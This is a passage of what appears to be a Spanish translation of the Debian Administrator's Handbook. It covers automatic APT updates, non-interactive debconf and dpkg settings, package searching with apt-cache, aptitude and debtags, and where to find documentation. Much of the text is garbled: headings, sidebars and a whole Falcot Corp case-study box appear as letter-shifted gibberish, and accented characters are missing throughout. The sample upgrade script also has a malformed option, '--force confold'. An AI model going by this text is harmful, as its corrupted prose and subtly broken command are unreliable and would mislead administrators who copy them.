actualizaciones disponibles, apticron las descargar automticamente. No las instalar el administrador lo har pero tener los paquetes ya descargados y disponibles localmente (en el
cach de APT) hace ms rpido el trabajo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Los administradores a cargo de varios equipos seguramente apreciarn ser informados de actualizaciones pendientes, pero las actualizaciones en s an son tan tediosas como solan serlo.
Aqu es donde es til el script /etc/cron.daily/apt (del paquete apt). cron tambin ejecuta
este script diariamente (sin interaccin del usuario). Para controlar su comportamiento, utilice variables de configuracin de APT (que son, por lo tanto, almacenadas bajo /etc/apt/apt.
conf.d/). Las variables principales son:

"151FSJPEJD6QEBUF1BDLBHF-JTUT Esta opcin le permite especificar la frecuencia (en


das) con la que se actualizar las listas de paquetes. Los usuarios de apticron pueden
hacerlo sin esta variable ya que apticron se encarga de esta tarea.
"151FSJPEJD%PXOMPBE6QHSBEFBCMF1BDLBHFT Nuevamente, esta opcin indica la
frecuencia (en das) pero para descargar los paquetes en s en este caso. Otra vez, los usuarios de apticron no lo necesitarn.
"151FSJPEJD"VUPDMFBO*OUFSWBM Esta opcin cubre una funcionalidad que apticron no
tiene. Controla cun seguido se eliminan paquetes obsoletos (aquellos a los que ya ninguna distribucin hace referencia) del cach de APT. Esto mantiene el cach de APT de un
tamao razonable y significa que no necesitar preocuparse por esa tarea.
"151FSJPEJD6OBUUFOEFE6QHSBEF Cuando esta opcin est activa, el script diario ejecutar unattended-upgrade (del paquete unattended-upgrades) que, como sugiere su nombre, puede automatizar al proceso de actualizacin para algunos paquetes (de forma
predeterminada slo realiza actualizaciones de seguridad, pero puede personalizarlo en
/etc/apt/apt.conf.d/50unattended-upgrades). Tenga en cuenta que puede definir
esta opcin con la ayuda de debconf si ejecuta dpkg-reconfigure -plow unattendedupgrades.

Otras opciones le permiten controlar el comportamiento de la limpieza del cach con ms precisin. No estn listadas aqu pero son descriptas en el script /etc/cron.daily/apt.
Estas herramientas funcionan muy bien para servidores, pero los usuarios de mquinas de escritorio generalmente prefieren un sistema ms interactivo. Es por eso que la tarea Entorno
grfico de escritorio instala gnome-packagekit. sta muestra un cono en el rea de notificacin
de los entornos de escritorio cuando hay actualizaciones disponibles; pulsar este cono ejecuta
gpk-update-viewer, una interfaz simplificada para realizar actualizaciones. Puede navegar a
travs de las actualizaciones disponibles, leer la descripcin de los paquetes relevantes y sus
archivos changelog detallando los cambios y seleccionar si aplicar la actualizacin o no caso
por caso.

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



'JHVSB  "DUVBMJ[BDJO DPO gpk-update-viewer

 "DUVBMJ[BDJPOFT BVUPNUJDBT


Dado que Falcot Corp tiene muchas mquinas pero personal limitado, sus administradores intentan hacer las actualizaciones tan automticas como sea posible. Los programas a cargo de
esos procesos deben, por lo tanto, ejecutar sin intervencin humana.

 $POGJHVSBDJO EF dpkg


Como ya mencionamos (revise el recuadro Evitando preguntas sobre los archivos de configuracin pgina 88), se le puede indicar a dpkg que no pida confirmacin al reemplazar un archivo
de configuracin (con las opciones GPSDFDPOGEFG GPSDFDPOGPME). Sin embargo, las interacciones pueden tener otros tres orgenes: algunas provienen de APT mismo, algunas son gestionadas por debconf y otras ocurren en la lnea de rdenes debido a scripts de configuracin de
paquetes.

 $POGJHVSBDJO EF "15


En el caso de APT es simple: la opcin Z (o BTVNFZFT) le indica a APT que considere que la
respuesta a todas las preguntas ser afirmativa (yes).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 $POGJHVSBDJO EF debconf


El caso de debconf merece ms detalles. El programa fue diseado, desde su concepcin, para
controlar la relevancia y volmen de las preguntas mostradas al usuario as como tambin la
forma en la que se mostrarn. Es por esto que su configuracin requiere una prioridad mnima
para las preguntas; slo se mostrarn las preguntas sobre la prioridad mnima. debconf asume
la respuesta predeterminada (definida por el encargado del paquete) para las preguntas que
decidi evitar.
Los otros elementos de configuracin relevantes es la interfaz utilizada. Si selecciona la opcin
OPOJOUFSBDUJWF, se desactivar toda interaccin con el usuario. Si un paquete intenta mostrar
una nota informativa, sta ser enviada al administrador por email.
Para reconfigurar debconf utilice dpkg-reconfigure del paquete debconf ; la orden necesaria es
dpkg-reconfigure debconf. Es importante saber que, si es necesario, los valores configurados
pueden sobreescribirse temporalmente con variables de entorno (por ejemplo DEBIAN_FRONT
END controla la interfaz, como est documentado en la pgina de manual debconf(7)).

 .BOFKP EF JOUFSBDDJPOFT EF MOFB EF SEFOFT


La ltima fuente de interacciones, y la ms difcil de la que deshacerse, son los scripts de configuracin ejecutados por dpkg. Desafortunadamente no hay solucin estndar y ninguna respuesta
es mucho mejor que la otra.
El enfoque comn es eliminar la entrada estndar redireccionando hacia ella el contenido vaco
de /dev/null con programa </dev/null o proveerle un flujo interminable de caracteres de
nueva lnea. Ninguno de estos mtodos son 100 % confiables pero generalmente provocan que
se utilicen las respuestas predeterminadas ya que la mayora de los scripts consideran una falta
de respuesta como aceptacin del valor predeterminado.

 -B DPNCJOBDJO NJMBHSPTB


Combinando los elementos anteriores es posible disear un script pequeo pero confiable que
pueda realizar actualizaciones automticas.
&KFNQMP 

4DSJQU EF BDUVBMJ[BDJO OPJOUFSBDUJWP

export DEBIAN_FRONTEND=noninteractive
yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force confold" dist-upgrade

&/ -" 13$5*$"


&M DBTP EF 'BMDPU $PSQ

-BT NRVJOBT EF 'BMDPU TPO TJTUFNBT IFUFSPHOFPT DPO FRVJQPT RVF UJFOFO
WBSJBT GVODJPOFT -PT BENJOJTUSBEPSFT FMFHJSO MB TPMVDJO NT SFMFWBOUF QBSB
DBEB VOP

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



&O MB QSDUJDB DPOGJHVSBSO MPT TFSWJEPSFT FKFDVUBOEP 8IFF[Z DPO MB kDPNCJ


OBDJO NJMBHSPTB{ BOUFSJPS Z TFSO BDUVBMJ[BEPT BVUPNUJDBNFOUF 4MP MPT
TFSWJEPSFT NT DSUJDPT MPT GJSFXBMM QPS FKFNQMP
TFSO DPOGJHVSBEPT DPO
apticron QBSB RVF MBT BDUVBMJ[BDJPOFT TMP PDVSSBO CBKP MB TVQFSWJTJO EF VO
BENJOJTUSBEPS
-BT FTUBDJPOFT EF USBCBKP EF PGJDJOB FO MPT TFSWJDJPT BENJOJTUSBUJWPT UBNCJO
FKFDVUBO 8IFF[Z QFSP FTUO FRVJQBEPT DPO HOPNFQBDLBHFLJU QBSB RVF MPT
VTVBSJPT QVFEBO EJTQBSBS MBT BDUVBMJ[BDJPOFT QPS T NJTNPT -B SB[O EF FTUB
EFDJTJO FT RVF TJ MBT BDUVBMJ[BDJPOFT PDVSSFO TJO VOB BDDJO FYQMUJDB QPESB
DBNCJBS JOFTQFSBEBNFOUF FM DPNQPSUBNJFOUP EFM FRVJQP DBVTBOEP DPOGVTJO
QBSB TVT VTVBSJPT QSJODJQBMFT
&O FM MBCPSBUPSJP MBT QPDBT NRVJOBT RVF VUJMJ[BO 5FTUJOH QBSB BQSPWFDIBS
MBT MUJNBT WFSTJPOFT EF TPXBSF OP TF BDUVBMJ[BO BVUPNUJDBNFOUF UBN
QPDP -PT BENJOJTUSBEPSFT DPOGJHVSBSPO "15 QBSB RVF QSFQBSF MBT BDUVBMJ[B
DJPOFT QFSP RVF OP MBT SFBMJDF DVBOEP EFDJEBO BDUVBMJ[BS NBOVBMNFOUF
TF
FWJUBSO MBT QBSUFT UFEJPTBT EF BDUVBMJ[BS MBT MJTUBT EF QBRVFUFT Z EFTDBSHBS MPT
QBRVFUFT Z MPT BENJOJTUSBEPSFT TF QVFEFO DPODFOUSBS FO MB QBSUF SFBMNFOUF
UJM

 #TRVFEB EF QBRVFUFT


Con la enorme y creciente cantidad de software en Debian surge una paradoja: Debian generalmente tiene una herramienta para la mayora de las tareas, pero dicha herramienta puede ser
difcil de encontrar entre tantos paquetes. La falta de formas apropiadas para buscar (y encontrar) la herramienta correcta es un problema desde hace tiempo. Afortunadamente este problema ha sido solucionado casi completamente.
La bsqueda ms trivial posible es buscar el nombre exacto de un paquete. Si apt-cache show
paquete devuelve un resultado entonces el paquete existe. Desafortunadamante esto necesita
saber o adiviar el nombre del paquete, lo que no es siempre posible.
5*1
$POWFODJPOFT EF OPNCSFT EF
QBRVFUFT

"MHVOBT DBUFHPSBT EF QBRVFUFT UJFOFO FTRVFNBT DPOWFODJPOBMFT EF OPNCSFT


DPOPDFS EJDIP FTRVFNB B WFDFT QVFEF QFSNJUJSMF BEJWJOBS OPNCSFT EF QBRVF
UFT FYBDUPT 1PS FKFNQMP QBSB NEVMPT 1FSM MB DPOWFODJO EJDF RVF VO N
EVMP MMBNBEP XML::Handler::Composer FO PSJHFO EFCF TFS FNQBRVFUBEP DP
NP MJCYNMIBOEMFSDPNQPTFSQFSM -B CJCMJPUFDB RVF QFSNJUF VUJMJ[BS FM TJTUFNB
gconf EFTEF 1ZUIPO FT FNQBRVFUBEB DPNP QZUIPOHDPOG -BNFOUBCMFNFOUF
OP FT QPTJCMF EFGJOJS VO FTRVFNB HFOFSBM EF OPNCSFT QBSB UPEPT MPT QBRVFUFT
BVORVF HFOFSBMNFOUF MPT FODBSHBEPT EF QBRVFUFT JOUFOUBO TFHVJS MB FMFDDJO
EF MPT BVUPSFT PSJHJOBMFT

Un patrn de bsqueda ligeramente ms exitoso es una bsqueda en texto plano de los nombres
de los paquetes, pero es an muy limitada. Generalmente puede encontrar resultados buscando
en la descripcin de los paquetes: dado que cada paquete tiene una descripcin ms o menos
detallada adems de su nombre, una bsqueda de palabras clave en estas descripciones generalmente ser til. apt-cache y axi-cache son las herramientas ms utilizadas para este tipo de



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

bsqueda; por ejemplo, apt-cache search video devolver una lista de todos los paquetes
cuyos nombres o descripciones contengan la palabra clave video.
Para bsquedas ms complejas necesita herramientas ms poderosas como aptitude. aptit
ude le permite buscar segn expresiones lgicas basadas en los campos de metadatos de los
paquetes. Por ejemplo, la siguiente orden busca aquellos paquetes cuyo nombre contenga LJOP,
cuya descripcin contenga WJEFP y cuyo nombre de encargado contenga QBVM:
$ aptitude search kino~dvideo~mpaul
p
kino - Non-linear editor for Digital Video data
$ aptitude show kino
Package: kino
State: not installed
Version: 1.3.4-1.3
Priority: extra
Section: video
Maintainer: Paul Brossier <piem@debian.org>
Architecture: amd64
Uncompressed Size: 7936 k
Depends: libasound2 (> 1.0.24.1), libatk1.0-0 (>= 1.12.4),
libavc1394-0 (>= 0.5.3), libavcodec53 (>= 4:0.8~beta1~) |
libavcodec-extra-53 (>= 4:0.8~beta1~), libavformat53
[]
Recommends: ffmpeg, curl
Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora
Conflicts: kino-dvtitler, kino-timfx, kinoplus
Replaces: kino-dvtitler, kino-timfx, kinoplus
Provides: kino-dvtitler, kino-timfx, kinoplus
Description: Non-linear editor for Digital Video data
Kino allows you to record, create, edit, and play movies recorded with
DV camcorders. This program uses many keyboard commands for fast
navigating and editing inside the movie.
The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly
distributed as separate packages, are now provided with Kino.
Homepage: http://www.kinodv.org/
Tags: hardware::camera, implemented-in::c, implemented-in::c++,
interface::x11, role::program, scope::application,
suite::gnome, uitoolkit::gtk, use::editing,
works-with::video, x11::application

La bsqueda solo devuelve un paquete, kino, que satisface los tres criterios.
An estas bsquedas multicritero son complejas, lo que explica porqu no son utilizadas tanto
como se podra. Se desarroll por lo tanto un nuevo sistema de etiquetas que provee un nuevo
enfoque de bsqueda. Los paquetes con ciertas etiquetas proveen una clasificacin temtica
segn varios ejes, conocido como clasificacin en base a facetas. En el caso anterior con kino,

$BQUVMP  .BOUFOJNJFOUP Z BDUVBMJ[BDJPOFT MBT IFSSBNJFOUBT "15



las etiquetas del paquete indican que Kino es un software basado en Gnome que trabaja con
datos de video y cuyo propsito principal es la edicin.
Navegar esta clasificacin puede ayudarle a buscar un paquete que se corresponda con necesidades conocidas; an si devuelve una cantidad (moderada) de elementos, el resto de la bsqueda puede realizarse de forma manual. Para hacerlo, puede utilizar el patrn de bsqueda _( en
aptitude, pero probablemente sea ms sencillo simplemente navegar hacia donde se administran las etiquetas:
http://debtags.alioth.debian.org/cloud/
Seleccionar las etiquetas XPSLTXJUIWJEFP y VTFFEJUJOH slo devuelve unos pocos paquetes
que incluyen los editores de video kino y pitivi. El sistema de clasificacin ser utilizado ms y
ms con el paso del tiempo y los encargados de los paquetes gradualmente proveern interfaces
de bsqueda eficientes sobre l.
Resumiendo, la mejor herramienta depende de la complejidad de la bsqueda que desee hacer:
slo permite buscar en el nombre y la descripcin de los paquetes, lo que es
muy conveniente cuando busque un paquete particular que coincida con unas pocas palabras clave;
apt-cache

cuando el criterio de bsqueda incluya tambin relaciones entre paquetes u otros


metadatos como por ejemplo el nombre del encargado, ser ms til synaptic;
cuando necesita una bsqueda sobre etiquetas packagesearch es una buena herramienta, una interfaz grfica dedicada a buscar paquetes disponibles segn varios criterios (incluyendo el nombre de los archivos que contiene). Si desea utilizar la lnea de rdenes,
axi-cache es su mejor opcin.
finalmente, cuando la bsqueda implique expresiones complejas con operaciones lgicas,
la herramienta a elegir ser la sintaxis de patrones de bsqueda de aptitude que es bastante potente aunque est relativamente escondida; se puede utilizar tanto en el modo de
lnea de rdenes como en el modo interactivo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
%PDVNFOUBDJO
3FTPMWFS QSPCMFNBT
"SDIJWPT EF SFHJTUSP
3&"%.&%FCJBO
.BOVBM
JOGP

$BQUVMP

3FTPMVDJO EF
QSPCMFNBT Z
CTRVFEB EF
JOGPSNBDJO
SFMFWBOUF

$POUFOJEPT
'VFOUFT EF EPDVNFOUBDJO 

1SPDFEJNJFOUPT DPNVOFT 

Para un administrador, la habilidad ms importante es poder enfrentarse a cualquier


situacin conocida o no. Este captulo provee una serie de mtodos que esperamos
le permitir aislar la causa de cualquier problema que encuentre para que pueda
llegar a resolverlo.

 'VFOUFT EF EPDVNFOUBDJO


Antes de que pueda entender lo que realmente est pasando cuando hay un problema, necesita
saber el rol que cumple en teora cada programa involucrado en el problema. Para hacerlo, lo
mejor que puede hacer es consultar su documentacin; pero ya que dichos documentos son
numerosos y muy dispersos debe saber todos los lugares donde puede encontrarlos.

 1HJOBT EF NBOVBM


$6-563"
35'.

&T FM BDSOJNP FO JOHMT EF kMFF FM Q P NBOVBM{ k3FBE 5IF ' LJOH .BO
VBM{
QFSP QVFEF FOUFOEFSTF UBNCJO DPNP VOB WBSJBOUF NT BNJHBCMF kMFF
FM CFOEJUP NBOVBM{ k3FBE 5IF 'JOF .BOVBM{
 &TUB GSBTF FT VUJMJ[BEB B WFDFT
FO SFTQVFTUBT CSVTDBT
B QSFHVOUBT EF OPWBUPT &T CBTUBOUF BCSVQUB Z EFKB
WFS DJFSUB NPMFTUJB TPCSF VOB QSFHVOUB IFDIB QPS BMHVJFO RVF OP TF NPMFTU
TJRVJFSB FO MFFS MB EPDVNFOUBDJO "MHVOPT EJDFO RVF FTUB SFTQVFTUB DMTJDB FT
NFKPS RVF OJOHVOB SFTQVFTUB ZB RVF JOEJDB RVF MB EPDVNFOUBDJO DPOUJFOF
MB JOGPSNBDJO CVTDBEB
P RVF VOB SFTQVFTUB NT FYUFOTB Z WJPMFOUB
&O DVBMRVJFS DBTP TJ BMHVJFO MF SFTQPOEF k35'.{ FT BDPOTFKBCMF OP TFOUJSTF
PGFOEJEP &TUB SFTQVFTUB FT HFOFSBMNFOUF GBTUJEJPTB QPS MP RVF QPESB EFTFBS
FWJUBS SFDJCJSMB 4J MB JOGPSNBDJO RVF CVTDB OP FTU FO FM NBOVBM MP DVBM QVFEF
PDVSSJS EFCFSB EFDJSMP QSFGFSFOUFNFOUF FO TV QSFHVOUB JOJDJBM %FCFSB EF
TDSJCJS UBNCJO MPT QBTPT RVF UPN QPS TV DVFOUB JOUFOUBOEP FODPOUSBS FTUB
JOGPSNBDJO BOUFT EF IBDFS MB QSFHVOUB FO EJDIP NCJUP 1VFEF BOUFT EF VUJ
MJ[BS GPSPT TFHVJS VOB TFSJF EF SFDPNFOEBDJPOFT EF TFOUJEP DPNO EFUBMMBEBT
QPS &SJD 3BZNPE Z USBEVDJEBT QPS +PTF . 'FSOOEF[
http://www.sindominio.net/ayuda/preguntas-inteligentes.html
http://catb.org/~esr/faqs/smart-questions.html

Las pginas de manual, aunque de estilo escueto, contienen gran cantidad de informacin
esencial. Repasaremos rpidamente los programas para verlas. Simplemente ejecute man
pgina_de_manual la pgina de manual generalmente tiene el mismo nombre que el programa sobre el que busca documentacin. Por ejemplo, para aprender sobre las opciones posibles
de cp utilizara man cp en una terminal (revise el recuadro).
70-7&3 " -04
$*.*&/504
-B DPOTPMB VO JOUSQSFUF EF
MOFB EF SEFOFT

6O JOUSQSFUF EF MOFB EF SEFOFT UBNCJO MMBNBEP kUFSNJOBM{ FT VO QSP


HSBNB RVF FKFDVUB MBT SEFOFT RVF TPO P CJFO JOHSFTBEBT QPS FM VTVBSJP P BM
NBDFOBEBT FO VO TDSJQU &O FM NPEP JOUFSBDUJWP NVFTUSB VO kQSPNQU{ RVF
HFOFSBMNFOUF GJOBMJ[B DPO $ QBSB VO VTVBSJP OPSNBM P DPO # QBSB VO BENJO
JTUSBEPS
RVF JOEJDB RVF FTU MJTUP QBSB MFFS VOB PSEFO OVFWB &M "QOEJDF`#
$VSTP CSFWF EF FNFSHFODJB QHJOB  EFTDSJCF FM VTP CTJDP EF VOB DPOTPMB
-B DPOTPMB QSFEFUFSNJOBEB Z NT VUJMJ[BEB FT bash k#PVSOF "HBJO 4IFMM{

QFSP FYJTUFO PUSBT JODMVZFOEP dash csh tcsh Z zsh


&OUSF PUSBT DPTBT MB NBZPSB EF MBT DPOTPMBT PGSFDFO BZVEB JOHSFTBOEP EBUPT
BM QSPNQU DPNP DPNQMFUBEP EF OPNCSFT EF QSPHSBNBT P EF BSDIJWPT RVF HFO
FSBMNFOUF QVFEF SFBMJ[BS QSFTJPOBOEP MB UFDMB UBC
P SFDPSEBOEP SEFOFT QSF
WJBT HFTUJO EFM IJTUPSJBM




&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Las pginas de manual no slo documentan programas en la lnea de rdenes, tambin archivos
de configuracin, llamadas de sistema, funciones de la biblioteca C y ms. A veces pueden coincidir ciertos nombres. Por ejemplo, la orden de la consola read tiene el mismo nombre que la
llamada de sistema read. Es por eso que las pginas de manual estn organizadas en secciones
numeradas:
1. rdenes que pueden ser ejecutadas desde la lnea de rdenes;
2. llamadas de sistema (funciones proporcionadas por el ncleo);
3. funciones de biblioteca (proporcionadas por las bibliotecas del sistema);
4. dispositivos (en Unix stos son archivos especiales generalmente ubicados en el directorio
/dev/);
5. archivos de configuracin (formatos y convenciones);
6. juegos;
7. conjuntos de macros y estndares;
8. rdenes de administracin del sistema;
9. rutinas del ncleo.
Es posible especificar la pgina del manual que est buscando: para visualizar la documentacin
de la llamada de sistema read utilizara man 2 read. Cuando no se especifique una seccin
explcitamente, se mostrar la primera seccin que posea una pgina de manual con el nombre
pedido. Por lo tanto, man shadow mostrar shadow(5) porque no hay pginas de manual para
shadow en las secciones 1 a 4.
46(&3&/$*"
whatis

4J OP EFTFB WFS MB QHJOB EF NBOVBM DPNQMFUB TJOP TMP VOB EFTDSJQDJO DPSUB
QBSB DPOGJSNBS RVF FT MP RVF FTU CVTDBOEP JOHSFTF whatis programa
$ whatis scp
scp (1)
- secure copy (remote file copy program)

&TUB EFTDSJQDJO DPSUB FTU JODMVJEB FO MB TFDDJO /0.#3& k/".&{


BM QSJO
DJQJP EF UPEBT MBT QHJOBT EF NBOVBM

Por supuesto, si no sabe el nombre del programa, el manual no le ser de mucha utilidad. ste
es el propsito del programa apropos que le ayuda a buscar en las pginas de manual, ms especficamente en sus descripciones cortas. Cada pgina de manual comienza esencialmente con
un resumen de una lnea. apropos devuelve una lista de las pginas de manual que mencionan
en su resumen la palabra clave pedida (o todas las ingresadas). Si las selecciona correctamente
encontrar el nombre del programa que necesita.
&KFNQMP 

&ODPOUSBS

cp

DPO apropos

$ apropos "copy file"

$BQUVMP  3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMFWBOUF



cp (1)
cpio (1)
hcopy (1)
install (1)

copy
copy
copy
copy

46(&3&/$*"
/BWFHBS TJHVJFOEP FOMBDFT

files
files
files
files

and directories
to and from archives
from or to an HFS volume
and set attributes

.VDIBT QHJOBT EF NBOVBM UJFOFO VOB TFDDJO k7&" 5".#*/{ k4&& "-
40{
HFOFSBMNFOUF BM GJOBM 4F SFGJFSF B PUSBT QHJOBT EF NBOVBM SFMFWBOUFT
EF QSPHSBNBT TJNJMBSFT P EPDVNFOUBDJO FYUFSOB &T QPTJCMF EF FTUB GPSNB
FODPOUSBS EPDVNFOUBDJO SFMFWBOUF BO DVBOEP MB QSJNFSB PQDJO OP TFB MB
QUJNB

El programa man no es la nica forma de consultar las pginas de manual ya que los programas
konqueror (en KDE) y yelp (en GNOME) tambin ofrecen esta funcionalidad. Existe tambin una
interfaz web provista por el paquete man2html que le permite ver las pginas de manual en un
navegador web. En un equipo donde est instalado este paquete, utilice la siguiente URL:
http://localhost/cgi-bin/man/man2html
Esta herramienta necesita un servidor web. Es por esto que si debera elegir instalar este paquete en uno de sus servidores: todos los usuarios de la red local se beneficiarn de este servicio
(incluyendo mquinas que no tienen Linux) y le evitar tener que configurar un servidor HTTP
en cada estacin de trabajo. Si puede acceder a su servidor desde otras redes podra desear restringir el acceso a este servicio slo a los usuarios de la red local.
/03."5*7" %&#*"/
1HJOBT EF NBOVBM
PCMJHBUPSJBT

%FCJBO SFRVJFSF RVF DBEB QSPHSBNB UFOHB VOB QHJOB EF NBOVBM 4J FM BVUPS
PSJHJOBM OP QSPWFF VOB FM EFTBSSPMMBEPS %FCJBO HFOFSBMNFOUF FTDSJCJS VOB
QHJOB NOJNB RVF DVBOEP NFOPT EJSJKB BM MFDUPS B MB VCJDBDJO EF MB EPDV
NFOUBDJO PSJHJOBM

 %PDVNFOUPT JOGP


El proyecto GNU escribi manuales para la mayora de sus programas en el formato info; es por
esto que muchas pginas de manual hacen referencia a la documentacin info correspondiente.
El formato tiene ciertas ventajas, pero el programa para visualizar estos documentos es tambin
ligeramente ms complejo.
Es llamado, por supuesto, info y toma como parmetro el nombre del nodo a consultar. La
documentacin info tiene una estructura jerrquica y si ejecuta info sin parmetros mostrar
una lista de los nodos disponibles en el primer nivel. Generalmente los nodos tienen el nombre
del programa correspondiente.
Los controles de navegacin en la documentacin no son particularmente intuitivos. El mejor
mtodo para familiarizarse con el programa es probablemente ejecutarlo y luego ingresar h
(la ayuda, help) y luego seguir las instrucciones para aprender a travs de la prctica. Puede



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

utilizar, alternativamente, un navegador grfico que es mucho ms amigable. Nuevamente, kon


queror y yelp funcionan; info2www tambin provee una interfaz web.
http://localhost/cgi-bin/info2www
Note que el sistema info, a diferencia el sistema de pginas man, no permite traducciones. Los
documentos info estarn, por lo tanto, siempre en ingls. Sin embargo, cuando le pida a info
una pgina info que no exista, ste buscar la pgina de man del mismo nombre (si es que existe)
y sta puede que s est traducida.

 %PDVNFOUBDJO FTQFDGJDB


Cada paquete incluye su propia documentacin. An los programas menos documentados generalmente tienen un archivo README que contiene informacin interesante y/o importante. Esta
documentacin se instala en el directorio /usr/share/doc/paquete/ (donde paquete representa
el nombre del paquete). Si la documentacin es particularmente grande puede no estar incluida
en el paquete principal del programa sino que puede haber sido separada a un paquete dedicado
que generalmente es llamado QBRVFUFEPD. El paquete principal por lo general recomendar el
paquete de documentacin para que pueda encontrarlo fcilmente.
El directorio /usr/share/doc/paquete/ tambin contiene algunos archivos provistos por Debian que completan la documentacin especificando las particularidades o mejoras del paquete
comparndolo con una instalacin tradicional del software. El archivo README.Debian tambin
indica todas las adaptaciones que se realizaron para cumplir con la Normativa Debian. El archivo changelog.Debian.gz le permite al usuario seguir las modificaciones realizadas al paquete
con el tiempo: es muy til intentar entender lo que cambi entre dos versiones instaladas que
no tienen el mismo comportamiento. Por ltimo, a veces habr un archivo NEWS.Debian.gz que
documentar los cambios importantes en el programa que podran interesar al administrador.

 4JUJPT XFC


En la mayora de los casos, los programas de software libre tienen sitios web que utilizan para
distribuirlo y reunir la comunidad de sus desarrolladores y usuarios. Estos sitios generalmente
estn llenos de informacin relevante en varias formas: documentacin oficial, preguntas frecuentes (FAQ: Frequently Asked Questions), archivos de listas de correo, etc. Generalmente los
problemas que puede tener ya han sido objeto de varias preguntas; las preguntas frecuentes o los
archivos de las listas de correos pueden tener una solucin. Dominar los motores de bsqueda
ser invaluable para encontrar las pginas relevantes rpidamente (restringiendo la bsqueda
al dominio o subdominio de internet dedicado al programa). Si la bsqueda devuelve demasiados resultados o stos no coinciden con lo que desea, puede agregar la palabra clave debian
para limitar los resultados y apuntar a informacin relevante.
46(&3&/$*"
%FM FSSPS B MB TPMVDJO

4J FM TPXBSF EFWVFMWF VO NFOTBKF EF FSSPS NVZ FTQFDGJDP JOHSTFMP FO FM


NPUPS EF CTRVFEB FOUSF DPNJMMBT EPCMFT " QBSB OP CVTDBS QBMBCSBT DMBWF

$BQUVMP  3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMFWBOUF



JOEJWJEVBMFT TJOP MB GSBTF DPNQMFUB


 &O MB NBZPSB EF MPT DBTPT MPT QSJNFSPT
FOMBDFT EFWVFMUPT DPOUFOESO MB SFTQVFTUB RVF CVTDB
&O PUSPT DBTPT PCUFOES FSSPSFT NVZ HFOSJDPT DPNP kQFSNJTP EFOFHBEP{
&O FTUF DBTP FT NFKPS SFWJTBS MPT QFSNJTPT EF MPT FMFNFOUPT JOWPMVDSBEPT
BSDIJWPT *%T EF VTVBSJP HSVQPT FUD


Si no conoce la direccin del sitio web del software hay varias formas de obtenerla. Primero,
revise si hay un campo )PNFQBHF entre la metainformacin del paquete (apt-cache show
paquete). La descripcin del paquete tambin podra contener un enlace al sitio oficial del programa. Si no se indica una URL, revise /usr/share/doc/paquete/copyright. El desarrollador
Debian generalmente indica en este archivo de dnde obtuvo el cdigo fuente del programa
y es probable que sea el sitio web que busca. Si en esta etapa de su bsqueda an no obtuvo
resultados, consulte un directorio de software libre como Freecode.com (anteriormente Freshmeat.net) o busque directamente con un motor de bsqueda como Google o Yahoo.
http://freecode.com/
Tambin podra desear revisar el wiki de Debian, un sitio web colaborativo donde cualquiera,
inclusive simples visitantes, pueden hacer sugerencias directamente desde sus navegadores. Es
utilizado tanto por desarrolladores para disear y especificar sus proyectos como por usuarios
para compartir su conocimiento escribiendo documentos colaborativamente.
http://wiki.debian.org/

 5VUPSJBMFT )0850

Un howto es un documento que describe, en trminos concretos y paso a paso, cmo (en
ingls how to) llegar a un objetivo predefinido. Los objetivos cubiertos son relativamente variados pero generalmente de naturaleza tcnica; por ejemplo: configurar IP Masquerading, instalar un servidor Samba, etc. Estos documentos generalmente intentan cubrir todos los problemas potenciales que podran ocurrir durante la implementacin de una tecnologa dada.
El Proyecto de Documentacin de Linux (LDP: Linux Documentation Project) gestiona muchos
de estos tutoriales, su sitio web almacena todos estos documentos:
http://www.tldp.org/
Tome estos documentos con un grano de sal. Generalmente tienen varios aos; la informacin
que contienen a veces est obsoleta. Este fenmeno es an ms frecuente para sus traducciones
ya que las actualizaciones no son ni sistemticas ni instantneas luego de la publicacin de
nuevas versiones de los documentos originales. Esta es parte de la alegra de trabajar en un
entorno de voluntarios y sin limitaciones



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 1SPDFEJNJFOUPT DPNVOFT


El propsito de esta seccin es presentar algunas sugerencias generales en algunas operaciones
que el administrador tendr que realizar frecuentemente. stos procedimientos obviamente no
cubrirn exhaustivamente todo caso posible pero podran servir como puntos de partida para
los casos ms difciles.
%&4$6#3*.*&/50
%PDVNFOUBDJO FO GSBODT

(FOFSBMNFOUF MB EPDVNFOUBDJO USBEVDJEB B VO JEJPNB EJTUJOUP BM JOHMT FTU


EJTQPOJCMF FO VO QBRVFUF TFQBSBEP DPO FM OPNCSF EFM QBRVFUF DPSSFTQPOEJ
FOUF TFHVJEP EF -idioma EPOEF JEJPNB FT FM DEJHP *40 EF EPT MFUSBT QBSB FM
JEJPNB

1PS FKFNQMP FM QBRVFUF BQUIPXUPGS DPOUJFOF MB USBEVDDJO BM GSBODT EFM
kIPXUP{ QBSB "15 %F MB NJTNB GPSNB MPT QBRVFUFT RVJDLSFGFSFODFGS Z
EFCJBOSFGFSFODFGS TPO MBT WFSTJPOFT FO GSBODT EF MBT HVBT EF SFGFSFODJB QBSB
%FCJBO FTDSJUBT FO JOHMT JOJDJBMNFOUF QPS 0TBNV "PLJ


 $POGJHVSBDJO EF VO QSPHSBNB


Cuando desee configurar un paquete desconocido debe proceder en etapas. Primero debe
leer lo que el encargado del paquete ha documentado. Leer el archivo /usr/share/
doc/paquete/README.Debian le permitir aprender sobre las medidas especficas tomadas para
simplificar el uso del software. A veces es esencial para poder entender las diferencias con el
comportamiento original del programa segn describe la documentacin en general como los
howto. A veces este archivo tambin detalla los errores ms comunes para que pueda evitar
desperdiciar tiempo en problemas comunes.
Luego debera revisar la documentacin oficial del software revise la seccin anterior para
identificar las diferentes fuentes de documentacin existentes. La orden dpkg -L paquete
provee una lista de los archivos incluidos en el paquete; puede as identificar rpidamente la
documentacin disponible (as como tambin los archivos de configuracin ubicados en /etc/).
